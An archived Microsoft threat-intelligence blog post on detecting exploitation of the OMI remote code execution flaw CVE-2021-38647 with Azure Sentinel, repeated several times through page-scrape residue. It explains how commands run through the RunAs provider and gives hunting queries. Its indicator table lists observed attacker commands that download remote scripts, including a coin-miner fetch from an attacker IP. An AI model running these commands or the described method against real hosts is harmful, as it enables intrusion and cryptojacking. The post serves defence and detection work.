Hunting for OMI Vulnerability Exploitation with Azure Sentinel

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Published: 2021-09-18 · Archived: 2026-04-06 00:15:41 UTC

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Sep 18, 2021

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Special thanks to: Ross Bevington

Following the September 14th, 2021 release of three Elevation of Privilege (EoP) vulnerabilities (CVE-2021-38645, CVE-2021-38649, CVE-2021-38648) and one unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2021-38647) in the Open Management Infrastructure (OMI) Framework, analysts in the Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation and investigating detections to further protect customers. Following the MSRC guidance to block ports that you aren't using and to ensure the OMI service is patched are great first steps. In this blog, we have some things to share about current attacks in the wild, agents and software involved, indicators for defenders to look for on host machines, and to share new detections in Azure Sentinel.

At Microsoft we monitor for attacks against our cloud services to inform our future security research, track emerging threats, and to improve the detection coverage of our security offerings. As part of that work, MSTIC is monitoring for exploitation of the OMI related RCE (CVE-2021-38647). To date we have seen several active exploitation attempts ranging from basic host enumeration (running *uname*, *id*, *ps* commands) to attempts to install a crypto currency miner or file share. (Details available below in Hunting cues section). We have also seen others in the community report similar behavior to include installs of the Mirai botnet. While many of the attackers are looking for port 5986, we are also seeing attacks on port 1270. Due to the number of easily adaptable proof of concept exploits available and the volume of reconnaissance-type attacks, we are anticipating an increase in the number of effects-type attacks (coin miners, bot installation, etc.).

OMI is an open-source project to further the development of a production quality implementation of the OMI CIMOM is also designed to be portable and highly modular. In order to attain its small footprint, it is coded in C, which also makes it a much more viable CIM Object Manager for embedded systems and other infrastructure components that have memory constraints for their management processor. OMI is also designed to be inherently portable. It builds and runs today on most UNIX® systems and Linux. In addition to OMI's small footprint, it also demonstrates very high performance.

In a nutshell, anyone with access to an endpoint running a vulnerable version (less than 1.6.8.1) of the OMI agent can execute arbitrary commands over an HTTP request without an authorization header. The expected behavior would be a 401 unauthorized response. However, the user is able to execute commands with root privileges.

More details are available in the MSRC CVE-2021-38647 post and the finder company Wiz blog post.

In addition to monitoring for incoming connections over ports 5986, 5985 or 1270 to vulnerable systems, there is more to explore at the endpoint level.

SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

The SCXcore provides a CIMOM provider, based on OMI, to return logging and statistical information for a UNIX or Linux system. There are several providers or classes available through the SCXcore provider which can be used to gather information from an endpoint such as MemoryStatisticalInformation or FileSystemStatisticalInformation.

In addition, there is one support provider named the **RunAsProvider** which provides the following classes:

- ExecuteCommand: Executes any UNIX/Linux native command

- ExecuteShellCommand: Executes any UNIX/Linux command using the /bin/sh shell
- ExecuteScript: Executes any UNIX/Linux script using the /bin/sh shell

Based on the initial research from Wiz, the following command was used to explore network traffic in order to craft an HTTP request to test the vulnerability:

/opt/omi/bin/omicli --hostname 192.168.1.1 -u azureuser -p Password1 iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

During testing, we used the Scxadmin tool, available as part of SCX, to increase all logging to VERBOSE and identify additional sources of data. The following command was used:

/opt/microsoft/scx/bin/tools/scxadmin -log-set all verbose

After running public proof-of-concepts to test the vulnerability, we validated that the code was being handled by the RunAsProvider :: Invoke_ExecuteShellCommand class:

Checking logs from auditd via Syslog, we also identified where the code was being executed from:

We tested the same in our lab environments, and we observed the same behavior which is shown below:

Looking at the code behind the components of the RunAs providers, there are some references to it:

More information about SCXcore is available here: GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager

Similarly, scripts can be run using the ExecuteScript provider. In this case, the body of the http request contains a reference to ExecuteScript. In the below example, the command ‘id’ is base64 encoded to ‘aWQ=’:

In this case, the script is passed into a temp directory which you can see in the execve logs. Look for a commandline similar to */bin/sh /etc/opt/microsoft/scx/conf/tmpdir/scx**. This command will still show as being run from the same */var/opt/microsoft/scx/tmp* current working directory.

Of note, this is the method we have seen used with attackers attempting to install coin miners.

Azure Sentinel coverage

Relevant security data required for understanding the impact of an attack is produced in multiple locations. Azure Sentinel has made it easy to collect the data from multiple data sources easily. This section of the post contains guidance and generic approaches to look for the OMI related activity in various data feeds that are available by default in Azure Sentinel or can be onboarded to Azure Sentinel.

Some Azure products, such as Configuration Management, open an HTTP/S port (1270/5985/5986) listening for OMI. Attackers can exploit the vulnerability in OMI where these ports are open by sending a specially crafted message via HTTPS to port listening to OMI to gain initial access to the machine.

The Azure Sentinel query linked below tries to identify connection attempts from the external IP addresses to the OMI management ports (5985,5986,1270). The query primarily leverages the Network Session normalization schema (imNetworkSession) as well as a few other logs to look for this network connection activity from an external IP address. Where available, it tries to restrict the results to the relevant OMI process. The results can sometimes be noisy; hence the query has been shipped as a hunting query.

Normalizing parsers for leveraging the imNetworkSession normalized schema are required for this query to work and can be deployed in a click using an ARM Template.

Customers can also use Heartbeat logs that monitors agent health to find vulnerable machine. The Azure Sentinel query linked below tries to leverage Heartbeat data to find OMS-agents that are reporting to the Azure Sentinel workspace but are not updated to the latest version that prevents this vulnerability.

[updated Sept 27, 2021]

Additionally, Azure Security Center generates detailed security recommendations if there are vulnerable machines in an Azure Environment with OMI installed. With the continuous export feature of Security Center, these security recommendations can be imported into Azure Sentinel. Azure Sentinel leverages this data populated in Security Nested Recommendations table to build a detection query to show vulnerable machines.

Azure Service Health has also sent notifications to potentially impacted customers. In the impacted environments where customers can run a quick query to check if they are impacted by this Vulnerability.

```
AzureActivity
| where CategoryValue == 'ServiceHealth'
| where isnotempty(Properties) and Properties has 'CVE-2021-38645'
```

| extend defaultLanguageTitle = tostring(parse_json(tostring(parse_json(Properties).eventProperties)).defaultLanguageTitle)

[updated Sept 24, 2021]

The below hunting query uses security events from the Microsoft Audit Collection Tool (AUOMS) collected via the Azure Sentinel Syslog data connector to explore the use of SCX Execute RunAs providers.

Execute RunAs providers such as the ExecuteShellCommand and ExecuteScript can be used to execute any UNIX/Linux command and script respectively using the /bin/sh shell. Execution occurs from the /var/opt/microsoft/scx/tmp directory and depending on the execution RunAs provider, execution can be a command or a script. If the ExecuteScript RunAs provider is used, then the script file is created in the following directory /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/ with the prefix scx (e.g. scxzOy96). SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

Hunting cues and IOCs

Common enumeration commands seen	uname -a, id, netstat, ps
Exploitation attempt	wget hxxps://www.dwservice.net/download/dwagent_generic.sh -O dwagent_generic.sh
Exploitation attempt	echo curl hxxps://www.dwservice.net/download/dwagent_generic.sh --output dw.sh > go.sh
Exploitation attempt	curl -fSsL hxxp://104.168.213.31:55879/coinlinux/runMiner.sh
Scanning IPs	13.212.235.12
Scanning IPs	142.93.148.12
Scanning IPs	171.224.80.216
Scanning IPs	185.220.100.245
Scanning IPs	216.151.191.152
Scanning IPs	23.129.64.140
Scanning IPs	31.44.185.115
Scanning IPs	46.30.42.126
Scanning IPs	5.45.127.209
Scanning IPs	94.198.42.158

References:

MSRC communications:

- CVE-2021-38647 - Security Update Guide - Microsoft - Open Management Infrastructure Remote Code Execution Vulnerability
- Additional Guidance Regarding OMI Vulnerabilities within Azure VM Management Extensions – Microsoft Security Response Center

Azure Security Center Guidance:

- Using ASC to find machines affected by OMI vulnerabilities in Azure VM Management Extensions - Microsoft Tech Community

Sentinel Detections:

- Azure-Sentinel/NetworkConnectiontoOMIPorts.yaml at master · Azure/Azure-Sentinel · GitHub
- Azure-Sentinel/OMIGODVulnerableMachines.yaml at master · Azure/Azure-Sentinel · GitHub
- Azure-Sentinel/SCXExecuteRunAsProviders.yml at master · Azure/Azure-Sentinel (github.com) [updated Sept 24, 2021]

Software and tools:

- GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager
- GitHub - microsoft/Build-omi: Build projects required for OMI (Open Management Infrastructure)
- Azure-Sentinel2Go/grocery-list/Linux/demos/CVE-2021-38647-OMI at master · OTRF/Azure-Sentinel2Go (github.com)

Public Discussion About Attacks in the wild:

- chris doman on Twitter: ":loudspeaker:OMIGOD (CVE-2021-38647) is now under active exploitation :loudspeaker: We took at a look at one of the first samples - yup, it's Mirai! If you're running Linux on Azure, check to see if OMI is installed https://t.co/o3nr82RgH1 https://t.co/kbbt1T52d3" / Twitter
- Andrew Morris on Twitter: "The Azure "OHMIGOD" vulnerability (CVE-2021-38647) is increasing a good bit. ~10 IPs opportunistically exploiting the vuln across the internet this morning, ~80 now. Tags available to all GN users and customers now. GNQL: cve:CVE-2021-38647 https://t.co/sbdxJxzrEd https://t.co/7dyU213Pl1" / Twitter
- Kevin Beaumont on Twitter: "Oh Mirai fixed their binary, it now supports proper OMIGOD exploitation. Given Mirai can enter networks and spread laterally via multiple vulns, this might be problematic. https://t.co/8nXSEcMHYa" / Twitter

Updated Nov 03, 2021

Version 11.0

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Microsoft Sentinel is an industry-leading SIEM & AI-first platform powering agentic defense across the entire security ecosystem.

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Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation of the OMI vulnerability and investigating detections to further protect customers.

","body":"

Russell McDonald, Roberto Rodriguez, and Ajeet Prakash

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Special thanks to: Ross Bevington

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Following the September 14th, 2021 release of three Elevation of Privilege (EoP) vulnerabilities (CVE-2021-38645, CVE-2021-38649, CVE-2021-38648) and one unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2021-38647) in the Open Management Infrastructure (OMI) Framework, analysts in the Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation and investigating detections to further protect customers. Following the MSRC guidance to block ports that you aren't using and to ensure the OMI service is patched are great first steps. In this blog, we have some things to share about current attacks in the wild, agents and software involved, indicators for defenders to look for on host machines, and to share new detections in Azure Sentinel.

\n\n\n

At Microsoft we monitor for attacks against our cloud services to inform our future security research, track emerging threats, and to improve the detection coverage of our security offerings. As part of that work, MSTIC is monitoring for exploitation

of the OMI related RCE (CVE-2021-38647). To date we have seen several active exploitation attempts ranging from basic host enumeration (running *uname*, *id*, *ps* commands) to attempts to install a crypto currency miner or file share. (Details available below in Hunting cues section). We have also seen others in the community report similar behavior to include installs of the Mirai botnet. While many of the attackers are looking for port 5986, we are also seeing attacks on port 1270. Due to the number of easily adaptable proof of concept exploits available and the volume of reconnaissance-type attacks, we are anticipating an increase in the number of effects-type attacks (coin miners, bot installation, etc.).

\n\n\n

OMI is an open-source project to further the development of a production quality implementation of the OMI CIMOM is also designed to be portable and highly modular. In order to attain its small footprint, it is coded in C, which also makes it a much more viable CIM Object Manager for embedded systems and other infrastructure components that have memory constraints for their management processor. OMI is also designed to be inherently portable. It builds and runs today on most UNIX® systems and Linux. In addition to OMI's small footprint, it also demonstrates very high performance.

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In a nutshell, anyone with access to an endpoint running a vulnerable version (less than 1.6.8.1) of the OMI agent can execute arbitrary commands over an HTTP request without an authorization header. The expected behavior would be a 401 unauthorized response. However, the user is able to execute commands with root privileges.

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More details are available in the MSRC CVE-2021-38647 post and the finder company Wiz blog post.

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In addition to monitoring for incoming connections over ports 5986, 5985 or 1270 to vulnerable systems, there is more to explore at the endpoint level.

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SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

\n

The SCXcore provides a CIMOM provider, based on OMI, to return logging and statistical information for a UNIX or Linux system. There are several providers or classes available through the SCXcore provider which can be used to gather information from an endpoint such as MemoryStatisticalInformation or FileSystemStatisticalInformation.

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In addition, there is one support provider named the **RunAsProvider** which provides the following classes:

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- ExecuteCommand: Executes any UNIX/Linux native command
  \n
- ExecuteShellCommand: Executes any UNIX/Linux command using the /bin/sh shell
  \n
- ExecuteScript: Executes any UNIX/Linux script using the /bin/sh shell
  \n

\n\n\n

Based on the initial research from Wiz, the following command was used to explore network traffic in order to craft an HTTP request to test the vulnerability:

\n\n\n\n\n\n\n

/opt/omi/bin/omicli --hostname 192.168.1.1 -u azureuser -p Password1 iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

\n\n

During testing, we used the Scxadmin tool, available as part of SCX, to increase all logging to VERBOSE and identify additional sources of data. The following command was used:

\n\n\n\n\n\n\n

/opt/microsoft/scx/bin/tools/scxadmin -log-set all verbose

\n\n

After running public proof-of-concepts to test the vulnerability, we validated that the code was being handled by the RunAsProvider :: Invoke_ExecuteShellCommand class:

\n

Checking logs from auditd via Syslog, we also identified where the code was being executed from:

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We tested the same in our lab environments, and we observed the same behavior which is shown below:

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Looking at the code behind the components of the RunAs providers, there are some references to it:

\n\n\n

More information about SCXcore is available here: GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager

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Similarly, scripts can be run using the ExecuteScript provider. In this case, the body of the http request contains a reference to ExecuteScript. In the below example, the command 'id' is base64 encoded to 'aWQ=':

\n\n\n

In this case, the script is passed into a temp directory which you can see in the execve logs. Look for a commandline similar to */bin/sh /etc/opt/microsoft/scx/conf/tmpdir/scx**. This command will still show as being run from the same */var/opt/microsoft/scx/tmp* current working directory.

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Of note, this is the method we have seen used with attackers attempting to install coin miners.

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Azure Sentinel coverage

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Relevant security data required for understanding the impact of an attack is produced in multiple locations. Azure Sentinel has made it easy to collect the data from multiple data sources easily. This section of the post contains guidance and generic approaches to look for the OMI related activity in various data feeds that are available by default in Azure Sentinel or can be onboarded to Azure Sentinel.

\n\n

Some Azure products, such as Configuration Management, open an HTTP/S port (1270/5985/5986) listening for OMI. Attackers can exploit the vulnerability in OMI where these ports are open by sending a specially crafted message via HTTPS to port listening to OMI to gain initial access to the machine.

\n\n

The Azure Sentinel query linked below tries to identify connection attempts from the external IP addresses to the OMI management ports (5985,5986,1270). The query primarily leverages the Network Session normalization schema (imNetworkSession) as well as a few other logs to look for this network connection activity from an external IP address. Where available, it tries to restrict the results to the relevant OMI process. The results can sometimes be noisy; hence the query has been shipped as a hunting query.

\n

Normalizing parsers for leveraging the imNetworkSession normalized schema are required for this query to work and can be deployed in a click using an ARM Template.

\n\n\n\n\n\n\n\n

Customers can also use Heartbeat logs that monitors agent health to find vulnerable machine. The Azure Sentinel query linked below tries to leverage Heartbeat data to find OMS-agents that are reporting to the Azure Sentinel workspace but are not updated to the latest version that prevents this vulnerability.

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[updated Sept 27, 2021]

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Additionally, Azure Security Center generates detailed security recommendations if there are vulnerable machines in an Azure Environment with OMI installed. With the continuous export feature of Security Center, these security recommendations can be imported into Azure Sentinel. Azure Sentinel leverages this data populated in Security Nested Recommendations table to build a detection query to show vulnerable machines.

\n\n\n\n\n\n\n\n\n

Azure Service Health has also sent notifications to potentially impacted customers. In the impacted environments where customers can run a quick query to check if they are impacted by this Vulnerability.

\n\n\n\n\n\n\n
\n

AzureActivity
| where CategoryValue == 'ServiceHealth'
| where isnotempty(Properties) and Properties has 'CVE-2021-38645'
| extend defaultLanguageTitle =
tostring(parse_json(tostring(parse_json(Properties).eventProperties)).defaultLanguageTitle)

\n
\n\n\n

[updated Sept 24, 2021]

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The below hunting query uses security events from the Microsoft Audit Collection Tool (AUOMS) collected via the Azure Sentinel Syslog data connector to explore the use of SCX Execute RunAs providers.

\n\n\n\n\n\n\n\n\n

Execute RunAs providers such as the ExecuteShellCommand and ExecuteScript can be used to execute any UNIX/Linux command and script respectively using the /bin/sh shell. Execution occurs from the /var/opt/microsoft/scx/tmp directory and depending on the execution RunAs provider, execution can be a command or a script. If the ExecuteScript RunAs provider is used, then the script file is created in the following directory /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/ with the prefix scx (e.g. scxzOy96). SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

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Hunting cues and IOCs

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

\n Common enumeration commands seen \n	\n uname -a, id, netstat, ps \n
\n Exploitation attempt \n	\n wget hxxps://www.dwservice.net/download/dwagent_generic.sh -O dwagent_generic.sh \n
\n Exploitation attempt \n	\n echo curl hxxps://www.dwservice.net/download/dwagent_generic.sh --output dw.sh > go.sh \n
\n Exploitation attempt	\n curl -fSsL hxxp://104.168.213.31:55879/coinlinux/runMiner.sh

\n	\n
\n Scanning IPs \n	\n 13.212.235.12 \n
\n Scanning IPs \n	\n 142.93.148.12 \n
\n Scanning IPs \n	\n 171.224.80.216 \n
\n Scanning IPs \n	\n 185.220.100.245 \n
\n Scanning IPs \n	\n 216.151.191.152 \n
\n Scanning IPs \n	\n 23.129.64.140 \n
\n Scanning IPs \n	\n 31.44.185.115 \n
\n Scanning IPs \n	\n 46.30.42.126 \n
\n Scanning IPs \n	\n 5.45.127.209 \n
\n Scanning IPs \n	\n 94.198.42.158 \n

\n\n

References:

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MSRC communications:

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\n
- CVE-2021-38647 - Security Update Guide - Microsoft - Open Management Infrastructure Remote Code Execution Vulnerability
\n
- Additional Guidance Regarding OMI Vulnerabilities within Azure VM Management Extensions – Microsoft Security Response Center

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Azure Security Center Guidance:

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\n
- Using ASC to find machines affected by OMI vulnerabilities in Azure VM Management Extensions - Microsoft Tech Community
\n

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Sentinel Detections:

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- Azure-Sentinel/NetworkConnectiontoOMIPorts.yaml at master · Azure/Azure-Sentinel · GitHub
\n
- Azure-Sentinel/OMIGODVulnerableMachines.yaml at master · Azure/Azure-Sentinel · GitHub
\n
- Azure-Sentinel/SCXExecuteRunAsProviders.yml at master · Azure/Azure-Sentinel (github.com) [updated Sept 24, 2021]
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Software and tools:

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- GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager
\n
- GitHub - microsoft/Build-omi: Build projects required for OMI (Open Management Infrastructure)
\n

\n\n

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- Azure-Sentinel2Go/grocery-list/Linux/demos/CVE-2021-38647-OMI at master · OTRF/Azure-Sentinel2Go (github.com)
\n

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Public Discussion About Attacks in the wild:

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- chris doman on Twitter: \":loudspeaker:OMIGOD (CVE-2021-38647) is now under active exploitation :loudspeaker: We took at a look at one of the first samples - yup, it's Mirai! If you're running Linux on Azure, check to see if OMI is installed https://t.co/o3nr82RgH1 https://t.co/kbbt1T52d3\" / Twitter
\n
- Andrew Morris on Twitter: \"The Azure \"OHMIGOD\" vulnerability (CVE-2021-38647) is increasing a good bit. ~10 IPs opportunistically exploiting the vuln across the internet this morning, ~80 now. Tags available to all GN users and customers now. GNQL: cve:CVE-2021-38647 https://t.co/sbdxJxzrEd https://t.co/7dyU213Pl1\" / Twitter
\n
- Kevin Beaumont on Twitter: \"Oh Mirai fixed their binary, it now supports proper OMIGOD exploitation. Given Mirai can enter networks and spread laterally via multiple vulns, this might be problematic. https://t.co/8nXSEcMHYa\" / Twitter
\n

\n","body@stringLength":"24902","rawBody":"

Russell McDonald, Roberto Rodriguez, and Ajeet Prakash

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Special thanks to: Ross Bevington

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Following the September 14th, 2021 release of three Elevation of Privilege (EoP) vulnerabilities (CVE-2021-38645, CVE-2021-38649, CVE-2021-38648) and one unauthenticated Remote Code Execution (RCE) vulnerability (CVE-2021-38647) in the Open Management Infrastructure (OMI) Framework, analysts in the Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation and investigating detections to further protect customers. Following the MSRC guidance to block ports that you aren't using and to ensure the OMI service is patched are great first steps. In this blog, we have some things to share about current attacks in the wild, agents and software involved, indicators for defenders to look for on host machines, and to share new detections in Azure Sentinel.

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Attacks in the wild

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At Microsoft we monitor for attacks against our cloud services to inform our future security research, track emerging threats, and to improve the detection coverage of our security offerings. As part of that work, MSTIC is monitoring for exploitation of the OMI related RCE (CVE-2021-38647). To date we have seen several active exploitation attempts ranging from basic host enumeration (running *uname*, *id*, *ps* commands) to attempts to install a crypto currency miner or file share. (Details available below in Hunting cues section). We have also seen others in the community report similar behavior to include installs of the Mirai botnet. While many of the attackers are looking for port 5986, we are also seeing attacks on port 1270. Due to the number of easily adaptable proof of concept exploits available and the volume of reconnaissance-type attacks, we are anticipating an increase in the number of effects-type attacks (coin miners, bot installation, etc.).

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What is OMI?

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OMI is an open-source project to further the development of a production quality implementation of the OMI CIMOM is also designed to be portable and highly modular. In order to attain its small footprint, it is coded in C, which also makes it a much more viable CIM Object Manager for embedded systems and other infrastructure components that have memory constraints for their management processor. OMI is also designed to be inherently portable. It builds and runs today on most UNIX® systems and Linux. In addition to OMI's small footprint, it also demonstrates very high performance.

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Unauthenticated remote command execution?

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In a nutshell, anyone with access to an endpoint running a vulnerable version (less than 1.6.8.1) of the OMI agent can execute arbitrary commands over an HTTP request without an authorization header. The expected behavior would be a 401 unauthorized response. However, the user is able to execute commands with root privileges.

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More details are available in the MSRC CVE-2021-38647 post and the finder company Wiz blog post.

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Endpoint Execution Context

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In addition to monitoring for incoming connections over ports 5986, 5985 or 1270 to vulnerable systems, there is more to explore at the endpoint level.

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SCXCore Providers

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SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

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The SCXcore provides a CIMOM provider, based on OMI, to return logging and statistical information for a UNIX or Linux system. There are several providers or classes available through the SCXcore provider which can be used to gather information from an endpoint such as MemoryStatisticalInformation or FileSystemStatisticalInformation.

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In addition, there is one support provider named the **RunAsProvider** which provides the following classes:

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- ExecuteCommand: Executes any UNIX/Linux native command
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- ExecuteShellCommand: Executes any UNIX/Linux command using the /bin/sh shell
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- ExecuteScript: Executes any UNIX/Linux script using the /bin/sh shell
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Executing Code via ExecuteShellCommand

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Based on the initial research from Wiz, the following command was used to explore network traffic in order to craft an HTTP request to test the vulnerability:

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/opt/omi/bin/omicli --hostname 192.168.1.1 -u azureuser -p Password1 iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

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During testing, we used the Scxadmin tool, available as part of SCX, to increase all logging to VERBOSE and identify additional sources of data. The following command was used:

\n\n\n\n\n\n\n

/opt/microsoft/scx/bin/tools/scxadmin -log-set all verbose

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After running public proof-of-concepts to test the vulnerability, we validated that the code was being handled by the RunAsProvider :: Invoke_ExecuteShellCommand class:

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Checking logs from auditd via Syslog, we also identified where the code was being executed from:

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We tested the same in our lab environments, and we observed the same behavior which is shown below:

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Looking at the code behind the components of the RunAs providers, there are some references to it:

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More information about SCXcore is available here: GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager

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Executing Code via ExecuteScript

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Similarly, scripts can be run using the ExecuteScript provider. In this case, the body of the http request contains a reference to ExecuteScript. In the below example, the command 'id' is base64 encoded to 'aWQ=':

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In this case, the script is passed into a temp directory which you can see in the execve logs. Look for a commandline similar to */bin/sh /etc/opt/microsoft/scx/conf/tmpdir/scx**. This command will still show as being run from the same */var/opt/microsoft/scx/tmp* current working directory.

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Of note, this is the method we have seen used with attackers attempting to install coin miners.

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Azure Sentinel coverage

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Relevant security data required for understanding the impact of an attack is produced in multiple locations. Azure Sentinel has made it easy to collect the data from multiple data sources easily. This section of the post contains guidance and generic approaches to look for the OMI related activity in various data feeds that are available by default in Azure Sentinel or can be onboarded to Azure Sentinel.

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Some Azure products, such as Configuration Management, open an HTTP/S port (1270/5985/5986) listening for OMI. Attackers can exploit the vulnerability in OMI where these ports are open by sending a specially crafted message via HTTPS to port listening to OMI to gain initial access to the machine.

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The Azure Sentinel query linked below tries to identify connection attempts from the external IP addresses to the OMI management ports (5985,5986,1270). The query primarily leverages the Network Session normalization schema (imNetworkSession) as well as a few other logs to look for this network connection activity from an external IP address. Where available, it tries to restrict the results to the relevant OMI process. The results can sometimes be noisy; hence the query has been shipped as a hunting query.

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Normalizing parsers for leveraging the imNetworkSession normalized schema are required for this query to work and can be deployed in a click using an ARM Template.

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Customers can also use Heartbeat logs that monitors agent health to find vulnerable machine. The Azure Sentinel query linked below tries to leverage Heartbeat data to find OMS-agents that are reporting to the Azure Sentinel workspace but are not updated to the latest version that prevents this vulnerability.

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[updated Sept 27, 2021]

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Additionally, Azure Security Center generates detailed security recommendations if there are vulnerable machines in an Azure Environment with OMI installed. With the continuous export feature of Security Center, these security recommendations can be imported into Azure Sentinel. Azure Sentinel leverages this data populated in Security Nested Recommendations table to build a detection query to show vulnerable machines.

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Azure Service Health has also sent notifications to potentially impacted customers. In the impacted environments where customers can run a quick query to check if they are impacted by this Vulnerability.

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AzureActivity
| where CategoryValue == 'ServiceHealth'
| where isnotempty(Properties) and Properties has 'CVE-2021-38645'
| extend defaultLanguageTitle =
tostring(parse_json(tostring(parse_json(Properties).eventProperties)).defaultLanguageTitle)

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SCX RunAs Provider

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[updated Sept 24, 2021]

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The below hunting query uses security events from the Microsoft Audit Collection Tool (AUOMS) collected via the Azure Sentinel Syslog data connector to explore the use of SCX Execute RunAs providers.

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Execute RunAs providers such as the ExecuteShellCommand and ExecuteScript can be used to execute any UNIX/Linux command and script respectively using the /bin/sh shell. Execution occurs from the /var/opt/microsoft/scx/tmp directory and depending on the execution RunAs provider, execution can be a command or a script. If the ExecuteScript RunAs provider is used, then the script file is created in the following directory /bin/sh /etc/opt/microsoft/scx/conf/tmpdir/ with the prefix scx (e.g. scxzOy96). SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.

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Hunting cues and IOCs

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\n Common enumeration commands seen \n	\n uname -a, id, netstat, ps \n
\n Exploitation attempt \n	\n wget hxxps://www.dwservice.net/download/dwagent_generic.sh -O dwagent_generic.sh \n
\n Exploitation attempt \n	\n echo curl hxxps://www.dwservice.net/download/dwagent_generic.sh --output dw.sh > go.sh \n
\n Exploitation attempt \n	\n curl -fSsL hxxp://104.168.213.31:55879/coinlinux/runMiner.sh \n
\n Scanning IPs \n	\n 13.212.235.12 \n
\n Scanning IPs \n	\n 142.93.148.12 \n
\n Scanning IPs \n	\n 171.224.80.216 \n
\n	\n

Scanning IPs \n	185.220.100.245 \n
\n Scanning IPs \n	\n 216.151.191.152 \n
\n Scanning IPs \n	\n 23.129.64.140 \n
\n Scanning IPs \n	\n 31.44.185.115 \n
\n Scanning IPs \n	\n 46.30.42.126 \n
\n Scanning IPs \n	\n 5.45.127.209 \n
\n Scanning IPs \n	\n 94.198.42.158 \n

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References:

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MSRC communications:

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- CVE-2021-38647 - Security Update Guide - Microsoft - Open Management Infrastructure Remote Code Execution Vulnerability
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- Additional Guidance Regarding OMI Vulnerabilities within Azure VM Management Extensions – Microsoft Security Response Center
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Azure Security Center Guidance:

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- Using ASC to find machines affected by OMI vulnerabilities in Azure VM Management Extensions - Microsoft Tech Community
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Sentinel Detections:

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- Azure-Sentinel/NetworkConnectiontoOMIPorts.yaml at master · Azure/Azure-Sentinel · GitHub
  \n
- Azure-Sentinel/OMIGODVulnerableMachines.yaml at master · Azure/Azure-Sentinel · GitHub
  \n
- Azure-Sentinel/SCXExecuteRunAsProviders.yml at master · Azure/Azure-Sentinel (github.com) [updated Sept 24, 2021]
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Software and tools:

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- GitHub - microsoft/SCXcore: System Center Cross Platform Provider for Operations Manager
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- GitHub - microsoft/Build-omi: Build projects required for OMI (Open Management Infrastructure)
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Research lab environments:

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- Azure-Sentinel2Go/grocery-list/Linux/demos/CVE-2021-38647-OMI at master · OTRF/Azure-Sentinel2Go (github.com)
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Public Discussion About Attacks in the wild:

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- chris doman on Twitter: \"OMIGOD (CVE-2021-38647) is now under active exploitation We took at a look at one of the first samples - yup, it's Mirai! If you're running Linux on Azure, check to see if OMI is installed https://t.co/o3nr82RgH1 https://t.co/kbbt1T52d3\" / Twitter
  \n
- Andrew Morris on Twitter: \"The Azure \"OHMIGOD\" vulnerability (CVE-2021-38647) is increasing a good bit. ~10 IPs opportunistically exploiting the vuln across the internet this morning, ~80 now. Tags available to all GN users and customers now. GNQL: cve:CVE-2021-38647 https://t.co/sbdxJxzrEd https://t.co/7dyU213Pl1\" / Twitter
  \n
- Kevin Beaumont on Twitter: \"Oh Mirai fixed their binary, it now supports proper OMIGOD exploitation. Given Mirai can enter networks and spread laterally via multiple vulns, this might be problematic. https://t.co/8nXSEcMHYa\" / Twitter
  \n

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Microsoft Threat Intelligence Center (MSTIC) have been monitoring for signs of exploitation of the OMI vulnerability and investigating detections to further protect customers.

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events to your calendar, and join the conversation.","register.ideaSpace":"Welcome to the {name} space. Sign in to vote,
comment, or submit your own feedback.","buttonRegister":"Sign in","register.discussionBoardArticle":"Have a question or
insight to share? Sign in to join the discussion.","register.blogSpaceArticle":"Enjoying the article? Sign in to share your
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text-decoration: none;\r\n }\r\n &a:link,\r\n &a:focus,\r\n &a:hover,\r\n &a:active,\r\n &a:visited {\r\n text-decoration:
none;\r\n color: inherit;\r\n }\r\n & div {\r\n font-family: 'Segoe UI', SegoeUI, 'Helvetica Neue', Helvetica, Arial, sans-
serif;\r\n }\r\n}\r\n.c-uhff {\r\n background: #f2f2f2;\r\n margin: -1.5625;\r\n width: auto;\r\n height: auto;\r\n}\r\n.c-uhff-
nav {\r\n margin: 0 auto;\r\n max-width: calc(1600px + 10%);\r\n padding: 0 5%;\r\n box-sizing: inherit;\r\n &:before,\r\n
&:after {\r\n content: ' ';\r\n display: table;\r\n clear: left;\r\n }\r\n @media only screen and (max-width: 1083px) {\r\n
padding-left: 12px;\r\n }\r\n .c-heading-4 {\r\n color: #616161;\r\n word-break: break-word;\r\n font-size: 15px;\r\n line-
height: 20px;\r\n padding: 36px 0 4px;\r\n font-weight: 600;\r\n }\r\n .c-uhff-nav-row {\r\n .c-uhff-nav-group {\r\n display:
block;\r\n float: left;\r\n min-height: 1px;\r\n vertical-align: text-top;\r\n padding: 0 12px;\r\n width: 100%;\r\n zoom: 1;\r\n
